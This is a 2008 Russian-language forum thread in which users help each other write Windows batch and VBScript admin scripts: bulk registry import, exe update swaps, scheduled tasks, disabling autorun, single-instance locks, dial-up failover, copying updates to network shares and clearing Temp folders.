amel27, есть рег файлы (только рег), мне нужно чтоб при запуске батника они запустились (если можно, то через reg import)

gora 22-10-2008 20:57 930897

Цитата:

Цитата sLiDeR-X
мне нужно чтоб при запуске батника они запустились (если можно, то через reg import) »

Выполните cmd /k reg import /? и получите ответ:
Код:

REG IMPORT <имя файла>

  <имя файла>  Имя файла для импорта (только на локальном компьютере).

Примеры:

  REG IMPORT AppBkUp.reg
    Импортирует записи реестра из файла AppBkUp.reg


sLiDeR-X 22-10-2008 23:15 931049

gora, как запустить импорт из бат файла я знаю, мне нужно вот это:
Цитата:

Цитата sLiDeR-X
Подскажите...
Есть несколько файлов. Допустим 100 %)
Как с помощью переменной в бат файле записать поочередный их запуск (так как не хочется ссылку на каждый файл)
Заранее спасибо. »


yurfed 22-10-2008 23:46 931082

Цитата:

Цитата sLiDeR-X
бат файле записать поочередный их запуск »

start путь\имя_файла
Правда при таком раскладе запустится всё одновременно.

gora 22-10-2008 23:54 931090

sLiDeR-X, задача не сформулирована.
Цитата:

Цитата amel27
sLiDeR-X
опишите задачу подробней - какого типа файлы?.. что они делают?... где располагаются? »


yurfed 22-10-2008 23:57 931091

Цитата:

Цитата gora
задача не сформулирована. »

Помоему формулировка ясна - Как с помощью переменной в бат файле записать поочередный их запуск

gora 23-10-2008 00:14 931112

yurfed, ну не знаю, но моих телепатических способностей не хватило, что бы догадаться, что посты 389 и 396 звенья одной задачи. Да и местоположение этих файлов не известно, то ли в одной папке, то ли рассыпаны по разным!? Есть там еще файлы кроме оговоренных 100 или нет!? :dont-know
В общем с такой постановкой задачи решать ее!? Я пасс.


Да и Start для "запуска" reg файлов как то не очень ;)

___oj 23-10-2008 00:41 931127

yurfed, Ну задача в общем конечно ясна. И ты в общем сам и сказащ как надо ее решать:

Цитата:

Цитата sLiDeR-X
я себе это представляю так: автоматом определяются имена файлов и заносятся допустим в текстовый файл, а потом запускаются. »


Цитата:

Цитата sLiDeR-X
Просто я не знаю как это осуществить на практике »

:
Смотришь справку Пуск->Справка и поддержка. Вводищь в поле для поиска cледующее словосочетание: Справочник по параметрам командной строки
И просматриваешь, интересуешься, задаешься вопросом, находишь ответ.

В твоем случае просмотри комманду DIR, павраметры должны быть такие:
Выводить только имена файлов, выводить в сокращенном виде(не выводя заголовочные сведения), Подскажу что это параметр /B.

В файл направляешь вот так: any_command >list.txt

про чтение из файла, узнаешь почитав о комманде FOR, подскажу что выглядеть это будет примерно так:
FOR /F "TOKENS=1" %%I IN ('TYPE LIST.TXT') DO IF NOT "%%I"=="" (
запуск программы %%I
)
Будут вопросы спрашивай...

sLiDeR-X 23-10-2008 06:52 931226

yurfed, все верно :) А вот старт полезен только для запуска файла, а мне нужно тихо интегрировать в реестр, так что только рег импорт :)

gora, все файлы лежат в одной папке. По-моему, задача была поставлена ясно :) (Если что не так - извините)

___oj, спасибо за советы :)
Сделал я как написал ты, прочитал справку, вот что получилось:
Код:

dir  /b >list.txt
FOR /F "TOKENS=1" %%I IN ('TYPE LIST.TXT') DO IF NOT "%%I"=="" (reg import %%I)

все верно? :)

___oj 23-10-2008 08:28 931254

Цитата:

Цитата sLiDeR-X
все верно? »

Незнаю.

sLiDeR-X 23-10-2008 10:21 931340

___oj, а кто знает? )))

gora 23-10-2008 10:27 931351

Цитата:

Цитата sLiDeR-X
а кто знает? »

Проверьте сами, вставьте вместо reg import в вашу строку echo и посмотрите выведет ли в консоль имена ваших 100 файлов.

sLiDeR-X 23-10-2008 12:38 931451

gora, да, действительно, сам не додумался :)
Ставлю echo - работает, а рег импорт нет :(


Как сделать так, чтоб батник запускал рег импорт для файлов, лежащих на 1 дирикторию глубже?
Т.е.
Код:

Reg
    -Files
            -1.reg
            -2.reg
            -....reg
            -100.reg
    -Import.bat

Вот скрипт Import.bat: (но так не работает :()
Код:

dir Files\ /b >list.txt
FOR /F "TOKENS=1" %%I IN ('TYPE LIST.TXT') DO IF NOT "%%I"=="" (reg import Files\%%I)

Переделал чуток скрипт, теперь в текстовик добавляются полные пути к файлам
Код:

dir Files\ /b/s >list.txt
FOR /F "TOKENS=1" %%I IN ('TYPE LIST.TXT') DO %%I

Вот при таком скрипте все работает, только нужно соглашаться на внесение в реестр. А мне нужно скрыто это сделать, то есть как бы DO reg import %%I . Но так тогда не работает :(

amel27 23-10-2008 13:14 931491

sLiDeR-X
Цитата:

Как сделать так, чтоб батник запускал рег импорт для файлов, лежащих на 1 дирикторию глубже? »
Код:

Set $PATH=.\Files\*.reg
For /F "Delims=" %%i In ('Dir /B /A:-D "%$PATH%"') Do @Echo REG Import "%%i"

P.S. перед боевым запуском убери "@Echo"

truvo
Цитата:

человек создал зачем-то свой нужный ему каталог, с названием, например, Temp for work »
такой не почистится, разве только "Temp.for work", перебирать тоже ненадежно - системные каталоги могут называться как угодно - точнее как заказано при установке, особенно если на диске несколько ОСей

sLiDeR-X 23-10-2008 13:30 931509

amel27, спасибо за помощь.... но то же самое, если убрать рег импорт, то запускается и ставится, только требует подтверждения, как только ставлю рег импорт, то ничего не происходит :(
И кстати не работает совсем с Do REG Import "%%i" (пишет ошибку), а если так Do REG Import "Files\%%i" то пишет мол все нормально, но ничего не добавляет

ShaddyR 23-10-2008 15:12 931592

amel27, sLiDeR-X, а почему не "regedit /s "%%i" ?

zeroua 23-10-2008 15:16 931596

amel27, sLiDeR-X,
Цитата:

Цитата ShaddyR
regedit /s »

, для таких действий явно подходит в самый раз (сам так делал)

gora 23-10-2008 15:19 931601

Цитата:

Цитата ShaddyR
а почему не "regedit /s »

Дык, таково желание заказчика ;)
Цитата:

Цитата sLiDeR-X
если можно, то через reg import »


vserd 23-10-2008 19:18 931835

sLiDeR-X,
dir Files\*.reg /b/s >list.txt
FOR /F "TOKENS=1" %%I IN ('TYPE LIST.TXT') DO reg import %%I
ставит все втихую.

sLiDeR-X 24-10-2008 06:24 932136

Спасибо всем.... НО! никакой вариант не работает :( Вот не понимаю, хоть убей не работает.
Вот шаблоны всех: проверьте у себя пожалуйста кто может
http://rapidshara.ru/54455

vserd 24-10-2008 10:12 932240

sLiDeR-X, не морочь людям голову. Все работает (кроме 3.bat), нужно то только в реги добавить пустую строку в конец.
открыть в блокеноте, переместиться в конец файла, в конец строки, Enter, сохранить

sLiDeR-X 24-10-2008 10:57 932266

vserd, блин, ну я то откуда знал, что строчку добавлять надо, вот и писал, что не работает.
Всем спасибо :) Помогли :)

vserd 24-10-2008 11:13 932279

Цитата:

Цитата sLiDeR-X
ну я то откуда знал, что строчку добавлять надо »

так и я не знал. Запустил с помощью regedit добавилось, а через reg import нет. Вот и стал разбираться... всего-то 15 минут делов :))

sLiDeR-X 24-10-2008 16:23 932574

И еще вопросик %)
Как сделать так, чтоб при команде:
Код:

dir Global\*.reg /b/s >list.txt
русские названия не переделывались в OEM кодировку а оставались в ANSI ?
Заранее спасибо :)

gora 24-10-2008 16:27 932578

Цитата:

Цитата sLiDeR-X
Как сделать »

Добавить перед этой строкой эту:
Код:

chcp 1251

vserd 24-10-2008 16:28 932580

Цитата:

Цитата sLiDeR-X
русские названия не переделывались в OEM кодировку а оставались в ANSI ? »

chcp 1251 >nul

Bosika 31-10-2008 14:48 939016

Просьба в написании скрипта.
Следующие вводные условия:
1. В директории C:\Program Files\XXX - расположена программа с командным файлом - yyy.exe.
2. Программа временами получает обновления, самого командного файла, которые попадают в директорию самой программы C:\Program Files\XXX и имеет вид файла - yyy_new.exe.
3. Обновления командного файла поступают в процессе работы самой программы.
4. Сам скрипт расположить в другой директории - C:\Program Files\ZZZ
-----------------------------------
Необходимо:
1. Переименовать файл yyy_new.exe в yyy.exe и заменить им существующий.
2. При включении скрипта, вышло сообщение, что будет произведена замена (обновление) командного файла, и что необходимо отключить программу.
3. Необходимо проверить, есть ли, по крайней мере, хотя бы файл для обновления - yyy_new.exe. (В противном случае, лучше ничего не предпринимать, чем переименовывать несуществующий файл!!) - Если нет файла для обновления, то выдать соответствующее сообщение и выйти из программы скрипта.
4. При работе скрипта, (если пользователь не отключил программу), если программа работает - запущен сам командный файл yyy.exe, выходило предупреждение о необходимости отключить программу.
4. По окончании работы скрипта выводило сообщение с рапортом, что файл заменён или нет.

amel27 01-11-2008 02:29 939597

Bosika, ИМХО для одного EXE выгонять из программы необязательно:
Код:

@Echo Off

Set PRGDIR=%ProgramFiles%\XXX
Set PRGEXE=yyy.exe
Set PRGNEW=yyy_new.exe
Set PRGOLD=yyy_old.exe

If Not Exist "%PRGDIR%\%PRGNEW%" MSG * "Предупреждение! Обновлений программы не обнаружено!"& Exit
If Exist
"%PRGDIR%\%PRGOLD%" DEL /Q /F "%PRGDIR%\%PRGOLD%"
If Not Exist "%PRGDIR%\%PRGOLD%" REN "%PRGDIR%\%PRGEXE%" "%PRGOLD%"
If Not Exist "%PRGDIR%\%PRGEXE%" REN "%PRGDIR%\%PRGNEW%" "%PRGEXE%"

If Exist "%PRGDIR%\%PRGNEW%" MSG * "Ошибка! Обновление программы не произведено, обратитесь к администратору!"& Exit
MSG * "Сообщение! Программа обновлена, для применения изменений необходим выход из программы."


Veter_79 05-11-2008 15:52 943780

Здравствуйте, такая проблема на удаленной машине находящейся за модемом(модем имеет свой внешний ip адрес) у машины свой внутренний адрес. Как сделать чтоб шла проверка по определенным директориям на наличие потерянных файлов при обмене и выдавалось уведомление об этих потерянных файлах (например по почте).

amel27 06-11-2008 05:51 944557

Veter_79, Формулируйте задачу конкретней, а среду описывайте подробней. Как организован обмен файлами?.. по какому протоколу?.. какая периодичность?.. что конкретно нужно сверять - два каталога или содержимое каталога со списком файлов?.. компьютеры по сетке друг друга видят?.. по IP или по имени?

illznn 10-11-2008 10:24 948340

Идея такова есть несколько батников лежащих в определенной папке корня %SystemRoot%
Нужно сделать так чтобы они запускались каждую неделю скажем в пятницу 16:00 Можно ли это реализовать на VBS ? Если да то не могли бы помоч.... Если нет то как это можно реализовать ?
Спасибо.

D_Master 10-11-2008 11:04 948372

illznn, наверное лучше сделать задание в планировщике.

amel27 10-11-2008 12:49 948487

illznn
Цитата:

Цитата illznn
есть несколько батников лежащих в определенной папке корня %SystemRoot%
Нужно сделать так чтобы они запускались каждую неделю скажем в пятницу 16:00 Можно ли это реализовать на VBS ? »

зачем без нужды мешать батники с VBS?... если можно - объединить запуск в один батник типа:
Код:

CALL "%SystemRoot%\BAT\Batnik1.CMD"
CALL "%SystemRoot%\BAT\Batnik2.CMD"
CALL "%SystemRoot%\BAT\Batnik3.CMD"

потом спланировать задание, пример:
Код:

SchTasks /Create /tn "Батник" /tr "C:\WINDOWS\BAT\main.cmd" /sc weekly /d FRI /st 18:00:00 /ru System
З.Ы. Подробно - "SchTasks /?" или в "Справка и поддержка"

Liveofan 12-11-2008 04:25 950191

Написал небольшой скриптик по отключению автозапуска с любых носителей


Код:'**************************
'*** AutorunDisabled ******
'**************************
Dim WSHShell
Set WSHShell = wscript.CreateObject("wscript.Shell")
'******************************************
'**** Добавляем записи в реестр ***********
'******************************************
WSHShell.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\AutoRun", "0", "REG_DWORD"

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDriveTypeAutoR un", "255", "REG_DWORD"

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf\", "@SYS:DoesNotExist"

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\CancelAutopl ay\Files\*.*", ""

'*************************************************
'**** Удаление MountPoints2 из реестра ***********
'*************************************************
WSHShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\"

WSHShell.RegDelete "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\"

WSHShell.RegDelete "HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\"

WSHShell.RegDelete "HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\"

WSHShell.RegDelete "HKEY_USERS\S-1-5-21-2170445449-3629066266-18666223-4272\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\"


Все замечательно работает, все необходимые записи добавляются в реестр, но вот при попытке удаления MountPoints2 из реестра, пишет, что данный раздел удалить невозможно, хотя я спокойно его могу удалить ручками. Подскажите, в чем может быть проблема? Как мне все-таки с помощью скрипта удалить MountPoints2 из реестра.

amel27 12-11-2008 05:50 950203

Цитата:

Цитата Liveofan
при попытке удаления MountPoints2 из реестра, пишет, что данный раздел удалить невозможно »

WSH не удаляет ветку, если она содержит ключи, проще батником:
Код:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v AutoRun /t REG_DWORD /d 0 /f
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 255 /f
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf" /ve /d "@SYS:DoesNotExist" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\CancelAutoplay\Files" /v "*.*" /d "" /f

REG DELETE "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2" /f
REG DELETE "HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2" /f
REG DELETE "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2" /f
REG DELETE "HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2" /f
REG DELETE "HKU\S-1-5-21-2170445449-3629066266-18666223-4272\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2" /f

З.Ы. Код нужно брать в теги [code]

Liveofan 12-11-2008 07:44 950240

Вообще не удаляет? и нет никакой возможности ((
плин обидно...
А можно из WSH запустить батник на удаление просто, т.е. в теле WSH написать исполняемый код батника и чтобы он работал.

amel27 12-11-2008 13:15 950494

Цитата:

Цитата Liveofan
Вообще не удаляет? »

удаляет если пройтись по всем вложенным ключам и удалять по списку "снизу", нужна рекурсивная функция... но нужна ли?

Цитата:

Цитата Liveofan
А можно из WSH запустить батник на удаление просто, т.е. в теле WSH написать исполняемый код батника и чтобы он работал »

можно через метод RUN - либо весь батник, либо код построчно (обрати внимание на кавычки):
Код:

Set WshShell = WScript.CreateObject("WScript.Shell")
Command = "REG ADD ""HKLM\SYSTEM\CurrentControlSet\Services\Cdrom"" /v AutoRun /t REG_DWORD /d 0 /f"
Return = WshShell.Run(Command, 1, true)


Gennie 12-11-2008 15:37 950632

Всем доброго дня суток.
Преамбула.
Код:

K:\PROCEDURES\Internal>dir /b|findstr /i feed
Feedback procedure.doc

Амбула.
Код:

K:\PROCEDURES\Internal>dir /b|findstr /i feed|start /b/max

K:\PROCEDURES\Internal>Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

K:\PROCEDURES\Internal>Feedback procedure.doc
'Feedback' is not recognized as an internal or external command,
operable program or batch file.

Вопрос: Почему оно не берёт из потока длинное имя файла целиком, а только до первого пробела, и как сделать, чтобы всё-таки start смог заглотить полное имя файла и открыть его? Я ж не передам ему в поток кавычки специально для start... :) К тому же, открывать может понадобиться файлы с именами, в которых даже очень много слов.
При этом проверено: если в потоке передаётся однородное имя файла без пробелов, то start нормально его открывает.

Petya V4sechkin 12-11-2008 15:51 950642

Gennie, примерно так:
Код:

for /f "delims=" %i in ('dir /b *feed*') do start "" /b /max "%i"
Если сохранять в батник, %i заменить на %%i

Gennie 12-11-2008 16:11 950662

Спасибо. Я тоже думал сначала реализовать таким путём, правда потом подумал, почему бы не попробовать взять имя файла напрямую из потока, и вот те на... Хочется понять всё же до конца: это действительно проблема именно самой команды start, что она берёт из канальной передачи не всё, а только самое первое слово до пробела? Ведь судя по выводу, поток нормально передаёт полное имя файла.

Petya V4sechkin 12-11-2008 16:29 950683

Gennie, если вы запустите:
Код:

start /b /max Feedback procedure.doc
оно ведь не выполнится, понимаете?

Gennie 12-11-2008 16:41 950697

О, и правда, не подумал. :) Действительно не выполнится. И запихать кавычки туда тоже не получится. Значит, видимо, остаётся только через for. Благодарю!

Liveofan 13-11-2008 04:49 951224

amel27,
спасибо большое, все помогло )

amel27 13-11-2008 08:59 951324

Liveofan, тогда на всякий случай функция удаления с подключами на VBS ;)
Код:

Const HKEY_CLASSES_ROOT  = &H80000000
Const HKEY_CURRENT_USER  = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS        = &H80000003

' Внимание! Скрипт удаляет всё "Избранное" Internet Explorer
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
sPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Favorites"

Call DeleteRegEntry(objReg, HKEY_CURRENT_USER, sPath)

Function DeleteRegEntry(objReg, sHive, strEnumPath)
    Dim subkey, arrSubKeys

    objReg.EnumKey sHive, strEnumPath, arrSubKeys
    If IsArray(arrSubKeys) Then
        For Each
subkey In arrSubKeys
            Call DeleteRegEntry(objReg, sHive, strEnumPath &"\"& subkey)
        Next
    End If

    Call
objReg.DeleteKey(sHive, strEnumPath)
End Function


Rostlv 13-11-2008 10:12 951374

Есть exe-файл, запускающий cmd. Если кликнуть по нему 1 раз - запускается cmd-файл, если кликнуть 2 раза, то запускается тот же cmd, только дважды, тем самым один мешает работе другому и соответственно происходят ошибки.
Нужна cmd-команда, не позволяющая запустить одновременно 2 и более cmd-файлов, причём её нужно указать не в exe-файле, а в самом cmd, если это возможно.

vserd 13-11-2008 10:23 951382

Цитата:

Цитата Rostlv
а в самом cmd, если это возможно. »

в начале
if [%RUNNED%]==[1] goto :Eof
set RUNNED=1
..........
код батника
..........
rem в саммом конце основного блока.
set Runned=
goto :eof


RUNNED не должно использоваться в оригинальном cmd. В противном случае изменить на другое имя

Liveofan 13-11-2008 10:42 951406

amel27,
Ясн. может пригодится, токо начал читать про WSH интересно )
Сейчас хочу автоматизовать процесс ввода в домен, на микрософте наткнулся на вот этот скриптик:
Код:

Const JOIN_DOMAIN = 1
Const ACCT_CREATE = 2
Const ACCT_DELETE = 4
Const WIN9X_UPGRADE = 16
Const DOMAIN_JOIN_IF_JOINED = 32
Const JOIN_UNSECURE = 64
Const MACHINE_PASSWORD_PASSED = 128
Const DEFERRED_SPN_SET = 256
Const INSTALL_INVOCATION = 262144
 
strDomain = "domen"
strPassword = "123"       
strUser = "user"
 
Set objNetwork = CreateObject("WScript.Network")
strComputer = objNetwork.ComputerName
 
Set objComputer = GetObject("winmgmts:{impersonationLevel=Impersonate}!\\" & _
    strComputer & "\root\cimv2:Win32_ComputerSystem.Name='" & _
        strComputer & "'")
 
ReturnValue = objComputer.JoinDomainOrWorkGroup(strDomain, _
    strPassword, strDomain & "\" & strUser, NULL, _
        JOIN_DOMAIN + ACCT_CREATE)

Протестил, с задаными параметрами, человек запуская его, может добавить машину в домен, но только если изначально зайдет и введет имя машины ручками, все отлично работает.
Но хотелось бы еще в скриптик добавить обработчик ошибки. Т.е. если скрипт сработал и комп в домен попал, чтобы выскочила надпись, комп успешно добавлен в домен, если же комп не смог войти в домен, то выскочило окно ошибки.

И еще вопрос, возможно ли с помощью WSH заполнять сетевые настройки, а также имя компьютера?
Это чисто скриптовый язык? Т.е. графические элементы у него есть? Например когда нужно ввести имя компьютера, то вписывать его не в тело скрипта, а чтобы выскочила панель, куда ты добавишь имя и нажмешь, ок )

Liveofan 13-11-2008 11:11 951431

А еще такой вопрос, есть ли отладчик приложений для WSH, а то если ошибка в коде есть, он просто мне выбрасывает виндовскую табличку с номером строки, в которой ошибка и все (

amel27 13-11-2008 11:47 951463

Rostlv
Цитата:

Цитата Rostlv
Нужна cmd-команда, не позволяющая запустить одновременно 2 и более cmd-файлов, причём её нужно указать не в exe-файле, а в самом cmd »

вариант, предложенный vserd не подойдет - в каждой сессии свои переменные окружения,
вместо SET можно использовать SETX из ресурскита Win2K:
Код:

IF "%RUNNED%"=="1" EXIT
SETX RUNNED 1
:: ---
PAUSE
:: ---
SETX RUNNED 0

или через реестр - не так красиво, зато штатными средствами:
Код:

REG QUERY HKCU\Environment /v RUNNED
If "%ERRORLEVEL%"=="0" EXIT
REG ADD HKCU\Environment /v RUNNED /d 1 /f
:: --
PAUSE
:: --
REG DELETE HKCU\Environment /v RUNNED /f

ADD: или через временный файл:
Код:

IF EXIST "%~dpn0.run" EXIT
@Echo.>"%~dpn0.run"
:: --
PAUSE
:: --
DEL "%~dpn0.run"


amel27 13-11-2008 12:22 951481

Liveofan
Цитата:

Цитата Liveofan
есть ли отладчик приложений для WSH »

Script Debugger for Windows NT 4.0 and Later
официально больше не поддерживается, хотя работает (смотреть внизу "Additional Information")

Цитата:

Цитата Liveofan
если ошибка в коде есть, он просто мне выбрасывает виндовскую табличку с номером строки, в которой ошибка и все ( »

отлавливать ошибки с помощью объекта "Err", указав "On Error Resume Next", подробно и с примерами:

Doctor Scripto's Script Shop (To Err Is VBScript – Part 1)
Doctor Scripto's Script Shop (To Err Is VBScript – Part 2)

Rostlv 13-11-2008 15:35 951614

И ещё вопрос, как с помощью cmd-файла проверить наличие определённого файла в системе, вернее его версии и при не совпадении версии файла с заданной, запретить выполнение cmd.

Babullika 13-11-2008 15:38 951619

Всем доброго времени суток.

Прошу помочь с батником.
Подключаюсь к инету таким вот образом :

код



@echo off
rasdial "internet 1" "login" "pass"
if errorlevel 1 goto error
echo.
echo Программа завершила свою работу!
goto end
:error
echo.
echo Произошла ошибка при работе программы
sleep.exe 3
rasdial "internet 2" "login" "pass"
if errorlevel 1 goto error
echo.
echo Программа завершила свою работу!
goto end
:error
echo.
echo Произошла ошибка при работе программы
sleep.exe 3
rasdial "internet 3" "login" "pass"
if errorlevel 1 goto error
echo.
echo Программа завершила свою работу!
goto end
:error
echo.
echo Произошла ошибка при работе программы
:end



Подскажите как реализовать такую схему: если internet 1 выдал ошибку а инет 2 подключился то поменять их местами , а если второй тоже выдал ошибку а третий сработал то третий на место первого , сдвинув первый на место второго а второй на место третьего ...
( чтобы в следущий раз при запуске бат файла подключалось первым к тому который последний раз был успешно подключен )
Заранее спасибо

Petya V4sechkin 13-11-2008 15:58 951653

Цитата:

Цитата Rostlv
как с помощью cmd-файла проверить наличие определённого файла в системе, вернее его версии

[решено] как узнать “версию файла”?

Цитата:

Цитата Rostlv
и при не совпадении версии файла с заданной, запретить выполнение cmd

Примерно так:
Код:

@Echo Off
For /F "Tokens=5 Delims= " %%I In ('Filever.exe %windir%\explorer.exe') Do Set V=%%I

Echo %V%
If %V% NEQ 6.0.2900.5512 (
  Echo Версия Explorer.exe не равна 6.0.2900.5512
  Pause
  Exit
)


amel27 14-11-2008 06:03 952212

Babullika
Цитата:

как реализовать такую схему: если internet 1 выдал ошибку а инет 2 подключился то поменять их местами , а если второй тоже выдал ошибку а третий сработал то третий на место первого , сдвинув первый на место второго а второй на место третьего »
хранить порядок в файле, примерно так:
Код:

@Echo OFF

Set CONN_LIST=%~dpn0.ini
Set TEMP_LIST=%~dpn0.tmp

If Exist "%TEMP_LIST%" Del /Q "%TEMP_LIST%"
For /F "UseBackQ Delims=" %%i In ("%CONN_LIST%") Do Call :CONNECT %%i

If Defined CONN_PARM (
  Echo %CONN_PARM%>"%CONN_LIST%"
  Type "%TEMP_LIST%">>"%CONN_LIST%"
  Echo.
  Echo Подключение произведено успешно!
) Else (
  Echo.
  Echo Произошла ошибка при работе программы
)
Exit

:CONNECT
If Defined CONN_PARM GOTO :CONNECT_SKIP
>Nul RasDial %*
If NOT ERRORLEVEL 1 Set CONN_PARM=%*
If Defined CONN_PARM GoTo :EOF
:CONNECT_SKIP
Echo %*>>"%TEMP_LIST%"
GoTo :EOF

примерное содержимое файла "Имя батника".INI:
Код:

"Internet 1" "Login1" "Pass1"
"Internet 2" "Login2" "Pass2"
"Internet 3" "Login3" "Pass3"
"Internet 4" "Login4" "Pass4"
"Internet 5" "Login5" "Pass5"


vserd 14-11-2008 11:32 952405

Цитата:

Цитата amel27
вариант, предложенный vserd не подойдет - в каждой сессии свои переменные окружения, »

Вообще-то да :((( я как-то не учел что запуск из под внешнего приложения. Для разных сесий нужно создавать и удалять файл.

Babullika 14-11-2008 14:16 952547

amel27
спасибо !
еще вопрос - при подключении между повторами необходимо реализовать задержку через sleep.exe , т.е. если подлючение несработало перед попыткой сделать второе надо вставить sleep.exe 10 , неподскажете куда его вставить в вашем коде ?

7human7 15-11-2008 14:14 953386

Если выделить несколько файлов и один из них переименовать допустим на: oszone, то все последующие (как они выстроены в текущем положении, сверху вниз) будут называться oszone (1), oszone (2) и.т.д
а как сделать так, чтобы чередование шло не в скобках, а просто цифрами? (oszone 1, oszone2 и.т.д)

amel27 17-11-2008 08:49 954655

Babullika
Цитата:

куда его вставить »
можно сразу перед или после строки дозвона ">Nul RasDial %*"

ADD: все-таки "перед", иначе собьется значение ERRORLEVEL

Gennie 17-11-2008 19:45 955209

Доброго всем времени уток.

Вопрос такой по CMD. Есть расшаренный текстовый файл ZZZ.csv.
Код:

@echo off
title Scanning ZZZ.csv if it is not locked . . . . .
:rescan
q:\XX\YY\ZZZ.csv 2>nul || goto rescan
exit

Ну или, скажем, вместо "||" сделать то же if not "%errorlevel%" == "0"
Может и глупый, но вопрос: почему оно не выполняет EXIT в случае успешного нахождения и открытия освободившегося файла?
Если файл освобождается юзером, то он нормально открывается в Эхеле, но окно скрипта при этом продолжает висеть пока не закроешь либо его само, либо этот CSV.

И ещё в ту же тему интересный вопрос: скажем, у меня .CSV ассоциировано на открытие Excel'ем. Если этот файл уже кто-то открыл и я пытаюсь открыть его через консоль, то пишет ошибку, что его уже использует другой процесс, если через Explorer, то рисует экселевскую табличку, говоря, что файл уже открыт "by 'ANOTHER USER'". Если бы это был обычный XLS или DOC, в таком случае МС Офис пишет, что файл уже открыт таким-то, обозначая конкретное имя пользователя. Очень важный вопрос возник, можно ли как-нибудь определить, кто именно открыл этот расшаренный файл, кто скрывается под обозначением "another user"?

Petya V4sechkin 17-11-2008 20:11 955232

Цитата:

Цитата Gennie
Если файл освобождается юзером, то он нормально открывается в Эхеле, но окно скрипта при этом продолжает висеть пока не закроешь либо его само, либо этот CSV.

Команду start добавьте:
Код:

start q:\XX\YY\ZZZ.csv 2>nul || goto rescan

amel27 18-11-2008 08:04 955584

Gennie
Цитата:

можно ли как-нибудь определить, кто именно открыл этот расшаренный файл, кто скрывается под обозначением "another user"? »
для файлов, открытых по сети можно использовать PsFile
для локально открытых файлов - Handle + TaskList

Gennie 18-11-2008 14:29 955933

Вложений: 1
amel27,
Код:

...
Unable to connect to myserver01. Verify user name and password.
Error listing remotely open files on myserver01:
Access is denied.

При этом на сам сервер заходит нормально (смапленный сетевой диск), хоть через "\\", хоть по названию смапленного диска. А удалённо, видать, не пущает.
Кстати, вот, добавляю картиночку, что иногда возникает при введении команды start. То есть, получается, иногда (не всегда, а почему-то только иногда) скрипт работает не открывая сам файл CSV _только_ если он освободился от другого пользователя, а как будто я его пытаюсь запустить из GUI, вне зависимости, занят он или нет. Причём задача-то скрипта как раз и состояла в том, чтобы не пытаться открыть файл, если его уже кто-то занял, но сканировать его до тех пор, пока не отпустят, и только тогда запускать. Пока в голову приходит только одно объяснение: что этот файл был открыт сразу несколькими пользователями с уведомлением о его закрытии, и как только RW-юзер его отпускает, тут же Эксель передаёт RW-права следующему пользователю, а мой скрипт в это время почему-то не успевает перехватить открытие файла. Подскажите, плз, так ли это.

Bullet-Avalon 19-11-2008 09:17 956631

Помогите с написанием БАТ файла...если это возможно конечно....
Вот что именно, надо
В конторе необходимо чтобы при запуске бат файла он раскидывал файл(это обновление антивируса, который лежит на моем компе), по папкам на юзерские машины по сети(у всех юзеров эта папка называется ОБМЕН).... вот в принципе и вссе, ато так каждому кидать этот файл, тяжеловато....Тока не спрашивайте зачем так все сложно, все вопросы к моему главному сис админу))))

amel27 20-11-2008 07:52 957778

Bullet-Avalon, примерно так:
Код:

@Echo Off
:: Файл списка хостов
Set $LST=%~dpn0.lst
:: Источник /приемник
Set $SRC=C:\ОБМЕН\*
Set $DST=C$\ОБМЕН\

For /F "UseBackQ Delims=" %%i In ("%$LST%") Do Call :COPYPROC %%i
Exit

:COPYPROC
:: ------
@Echo Проверка соединения с "%1"...
>Nul PING -n 1 %1
If ErrorLevel 1 GoTo :EOF
@Echo Копирование файлов на "%1"...
XCopy "%$SRC%" "\\%1\%$DST%" /S /V /K /Y /Z /R /H /Q

GoTo :EOF

З.Ы. как видно из батника, список компов - в одноименном файле с расширением LST

xctr 20-11-2008 17:39 958272

Ребят подскажите пожалуйста как написать батник что бы он удалял файлы и папки из определённой папки?
Я пишу так: Rmdir "C:\documents and Settings\****\local settings\temp\"/q /s
Так с этой командой удаляется сама папка temp а мне надо что бы из неё (из папки Temp) удалялись все папки и файлы...

ShaddyR 20-11-2008 20:01 958392

Цитата:

Цитата xctr
Так с этой командой удаляется сама папка temp а мне надо что бы из неё (из папки Temp) удалялись все папки и файлы. »

а в чем разница между одним и вторым, если после первого пересоздавать эту самую папку? Ты хочешь очищать папку Temp ?

xctr 21-11-2008 06:37 958751

ShaddyR, да я хочу очищать папку темп.

amel27 21-11-2008 12:05 958995

Цитата:

Цитата xctr
да я хочу очищать папку темп »

сколько можно об одном и том же?.. читали 24-ю страницу топика?

ShaddyR 21-11-2008 13:05 959055

xctr, погляди здесь:
